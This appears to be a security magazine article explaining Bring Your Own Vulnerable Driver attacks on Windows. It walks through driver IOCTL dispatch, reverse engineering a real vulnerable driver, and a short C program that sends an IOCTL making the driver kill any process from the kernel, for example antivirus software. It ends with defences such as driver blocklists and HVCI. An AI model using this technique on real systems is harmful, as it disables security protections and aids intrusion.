Bring Your Own Vulnerable Driver! Meet BYOVD – one of the most dangerous attacks targeting Windows systems

Date: 27/05/2025

Many notorious hacker groups (e.g. North Korea’s Lazarus) use the BYOVD attack to gain access to kernel space and implement complex advanced persistent threats (APTs). The same technique is employed by the creators of the Terminator tool and various encryptor operators. This paper discusses BYOVD operating principles and why this attack has become so popular nowadays.

In fact, the possibility to use a third-party driver for malicious purposes has long been known in certain circles, but until some point, this wasn’t so relevant. You can visit any hacker forum and find a bunch of alternative ways to bypass the Windows kernel integrity check and fool the KPP (Kernel Patch Protection) mechanism.

But Microsoft specialists were also aware of such tricks and eventually upgraded the kernel integrity control to a fairly high level, thus, kicking butts of nonstandard programming adepts… It was then that everyone remembered BYOVD because it’s much easier to implement this attack than to search for zero-days in the kernel integrity control mechanism.

BYOVD offers great opportunities: it disables antiviruses, enables local privilege escalation (LPE), and performs other interesting tricks depending on the driver under attack.

After all, the kernel has always been a coveted prize for hackers. Let’s figure out how this attack works.

Driver structure

First, you have to understand the driver structure in Windows and its operating principle. Similar to any other application, any driver has an entry point called DriverEntry; its prototype is shown below:

NTSTATUS DriverEntry (
_In_ PDRIVER_OBJECT DriverObject,
_In_ PUNICODE_STRING RegistryPath
);

As you can see, two arguments are passed to the main driver function: DriverObject (a pointer to the DRIVER_OBJECT structure that contains information about the driver) and a pointer to the RegistryPath string containing the path to the driver file. The DRIVER_OBJECT structure looks like this:

typedef struct _DRIVER_OBJECT {
CSHORT Type;
CSHORT Size;
PDEVICE_OBJECT DeviceObject;
ULONG Flags;
PVOID DriverStart;
ULONG DriverSize;
PVOID DriverSection;
PDRIVER_EXTENSION DriverExtension;
UNICODE_STRING DriverName;
PUNICODE_STRING HardwareDatabase;
PFAST_IO_DISPATCH FastIoDispatch;
PDRIVER_INITIALIZE DriverInit;
PDRIVER_STARTIO DriverStartIo;
PDRIVER_UNLOAD DriverUnload;
PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
} DRIVER_OBJECT, *PDRIVER_OBJECT;

To allow a user-mode application to communicate with a kernel-mode driver, a driver device is created using IoCreateDevice or WdmlibIoCreateDeviceSecure, and a symbolic link to it is created using IoCreateSymbolicLink.

Below is a piece of code from an actual driver where a symbolic link to it is created.

Symbolic link is created using IoCreateSymbolicLink
Symbolic link is created using IoCreateSymbolicLink

Now let’s find out how a user-mode application prompts the driver to perform an action.

Note the PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1] field in the DRIVER_OBJECT structure. This field represents an array of pointers to functions that are called by the driver under certain conditions (essentially, this is a list of actions performed by the driver).

The first thing that seems to be of interest is IRP_MJ_DEVICE_CONTROL: one of the IRP (I/O Request Packet) function codes in the MajorFunction array. It’s used to handle control requests to the driver device (e.g. reading and writing data). To make it clearer, below is an example of driver code initializing different IRP functions:

NTSTATUS DispatchRead(
_In_ PDEVICE_OBJECT DeviceObject,
_Inout_ PIRP Irp
)
{
UNREFERENCED_PARAMETER(DeviceObject);
// Handle file read operation
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
...
NTSTATUS DriverEntry:
// Fill the MajorFunction array
DriverObject->MajorFunction[IRP_MJ_CREATE] = DispatchCreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchCreateClose;
// Code to be executed when the IRP_MJ_READ event occurs
DriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDispatch;

info

Input/Output Control (IOCTL) is a mechanism behind the interaction between a user application and a device driver in Windows. IOCTL enables an application to send control commands and requests to device drivers in order to perform various operations (read or write data, set device parameters, get device status, etc.). When an application sends an IOCTL, the operating system passes the request to the respective device driver that subsequently performs the required action and returns the result.

IOCTL requests are processed in a special function, DriverDispatch; below is its prototype (remember it; later it will be required to find this function in the disassembler):

NTSTATUS DriverDispatch(
[in, out] _DEVICE_OBJECT *DeviceObject,
[in, out] _IRP *Irp
)

Code that handles IOCTL requests to the driver implemented in the DriverDispatch function looks approximately like this:

NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
NTSTATUS status = STATUS_SUCCESS;
PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
ULONG controlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
switch(controlCode)
{
case IOCTL_CUSTOM_COMMAND:
// Process user command
status = ProcessCustomCommand(DeviceObject, Irp);
break;
case IOCTL_ANOTHER_COMMAND:
// Process another command
status = ProcessAnotherCommand(DeviceObject, Irp);
break;
default:
// Unknown command, return error message
status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
Irp->IoStatus.Status = status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}

In the above function, IOCTL_CUSTOM_COMMAND and IOCTL_ANOTHER_COMMAND are just definitions containing IOCTL numbers sent by the user app to the driver. Following requests from applications, functions will be executed in the driver with ring 0 priority. The switch-case construct in the DispatchDeviceControl function is of special interest because it contains numbers of IOCTL control requests.

Examining the driver

Now that you are familiar with the basic structure of the driver and understand how the driver interacts with the user mode, time has come for reverse engineering! Let’s load the driver under investigation to IDA Pro and examine its entry point.

This is a real-life driver vulnerable to BYOVD, and its start code can be slightly different from a simple driver model. To locate code sections where the device and symbolic link are created and where the MajorFunction array is initialized, let’s see where the DriverObject argument points (since it’s required for initialization operations). Success! This place is located next to the code that creates a symbolic link (although this isn’t always the case).

Filling MajorFunction
Filling MajorFunction

The string with memset initializes the MajorFunction array. If you go to the sub_140014890 function specified in the argument, you’ll see plenty of code.

Searching for dispatching function
Searching for dispatching function

The dispatching function can be located by its prototype (the one that I asked you to remember earlier): you simply trace where the argument containing IRP is passed. And inside this function, you can see initialization codes for various elements of MajorFunction.

Initializing MajorFunction elements
Initializing MajorFunction elements

IRP_MJ_DEVICE_CONTROL is of special interest: if you look at the sub_140018ff8 function, you’ll see in it various cases that implement IOCTL codes.

Various IOCTL codes
Various IOCTL codes

Now you have to examine each case, figure out what it does, and ultimately find something interesting and useful for your purposes. Take, for instance, a function that can terminate processes by the passed PID.

ZwOpenProcess и ZwTerminateProcess are definitely of interest
ZwOpenProcess и ZwTerminateProcess are definitely of interest

As can be seen from the code, this function terminates processes by calling ZwTerminateProcess. That’s exactly what you need! Remember the number of the IOCTL request that calls this function.

Coding

So, reversal engineering has borne fruit; time to write a tool that will exploit the tested driver and force it to terminate any process at your command. But first, you have to access the driver. To do this from the user mode, the DeviceIoControl function can be used; its prototype is as follows:

BOOL DeviceIoControl(
[in] HANDLE hDevice,
[in] DWORD dwIoControlCode,
[in, optional] LPVOID lpInBuffer,
[in] DWORD nInBufferSize,
[out, optional] LPVOID lpOutBuffer,
[in] DWORD nOutBufferSize,
[out, optional] LPDWORD lpBytesReturned,
[in, out, optional] LPOVERLAPPED lpOverlapped
);

Note the hDevice parameter: it’s extracted from the dissembler at the time when the symbolic link is created. The dwIoControlCode parameter is the number of the case branch that contains the call to ZwTerminateProcess.

int main() {
int status = 0, proc_id = 0;
DWORD retBytes = 0;
scanf("%u", &proc_id);
HANDLE hDevice = CreateFileA(
".my_driver",
GENERIC_WRITE|GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
status = DeviceIoControl(hDevice, 0x88889988, &proc_id, sizeof(proc_id), NULL, 0, &retBytes, NULL);
CloseHandle(hDevice);
return 0;
}

The code is very simple: using CreateFileA, you get the driver device descriptor by its reference found in the course of reversal; while a call to the DeviceIoControl function gives a direct instruction to the driver to perform the action specified in the IOCTL code (the dwIoControlCode argument). In this particular case, the instruction is to terminate a process by its ID. When this code executes, the driver will terminate the target process directly from the kernel by calling the ZwTerminateProcess function!

Protection

Of course, this technique isn’t a ‘silver bullet’, and a number of countermeasures have been developed to minimize risks posed by BYOVD:

  • revoke the driver signing certificate;
  • blacklist the driver; and 
  • virtualization-based security (VBS) and hypervisor-protected code integrity (HVCI).

Let’s briefly go through this list. Certificate revocation renders the signing certificate null and void, and the driver is treated as unsigned. The blacklist contains checksums and fingerprints of drivers that were used in attacks. Virtualization-based Kernel isolation (VBS, including its component HVCI) prevents malicious actions that could be performed by drivers that aren’t yet blacklisted yet, but are already used in attacks. The virtualization system acts as root of trust and assumes that the kernel can be compromised at any time.

Together, all these protective measures can effectively prevent BYOVD attacks. Too bad, some users deliberately disable them (e.g. to improve performance).

Conclusions

Now you are familiar with techniques and tools used by some of the most notorious hacker groups; as the old saying goes, forewarned is forearmed. At least, you won’t disable Windows kernel protection in your system in an attempt to boost its performance by some 10%!

Let the Force be with you!

Related posts:
2023.03.03 — Nightmare Spoofing. Evil Twin attack over dynamic routing

Attacks on dynamic routing domains can wreak havoc on the network since they disrupt the routing process. In this article, I am going to present my own…

Full article →
2022.01.11 — Persistence cheatsheet. How to establish persistence on the target host and detect a compromise of your own system

Once you have got a shell on the target host, the first thing you have to do is make your presence in the system 'persistent'. In many real-life situations,…

Full article →
2022.06.02 — Blindfold game. Manage your Android smartphone via ABD

One day I encountered a technical issue: I had to put a phone connected to a single-board Raspberry Pi computer into the USB-tethering mode on boot. To do this,…

Full article →
2023.07.29 — Invisible device. Penetrating into a local network with an 'undetectable' hacker gadget

Unauthorized access to someone else's device can be gained not only through a USB port, but also via an Ethernet connection - after all, Ethernet sockets…

Full article →
2022.06.03 — Playful Xamarin. Researching and hacking a C# mobile app

Java or Kotlin are not the only languages you can use to create apps for Android. C# programmers can develop mobile apps using the Xamarin open-source…

Full article →
2023.02.12 — Gateway Bleeding. Pentesting FHRP systems and hijacking network traffic

There are many ways to increase fault tolerance and reliability of corporate networks. Among other things, First Hop Redundancy Protocols (FHRP) are used for this…

Full article →
2022.06.01 — Cybercrime story. Analyzing Plaso timelines with Timesketch

When you investigate an incident, it's critical to establish the exact time of the attack and method used to compromise the system. This enables you to track the entire chain of operations…

Full article →
2022.02.09 — F#ck da Antivirus! How to bypass antiviruses during pentest

Antiviruses are extremely useful tools - but not in situations when you need to remain unnoticed on an attacked network. Today, I will explain how…

Full article →
2023.04.04 — Serpent pyramid. Run malware from the EDR blind spots!

In this article, I'll show how to modify a standalone Python interpreter so that you can load malicious dependencies directly into memory using the Pyramid…

Full article →
2023.03.26 — Poisonous spuds. Privilege escalation in AD with RemotePotato0

This article discusses different variations of the NTLM Relay cross-protocol attack delivered using the RemotePotato0 exploit. In addition, you will learn how to hide the signature of an…

Full article →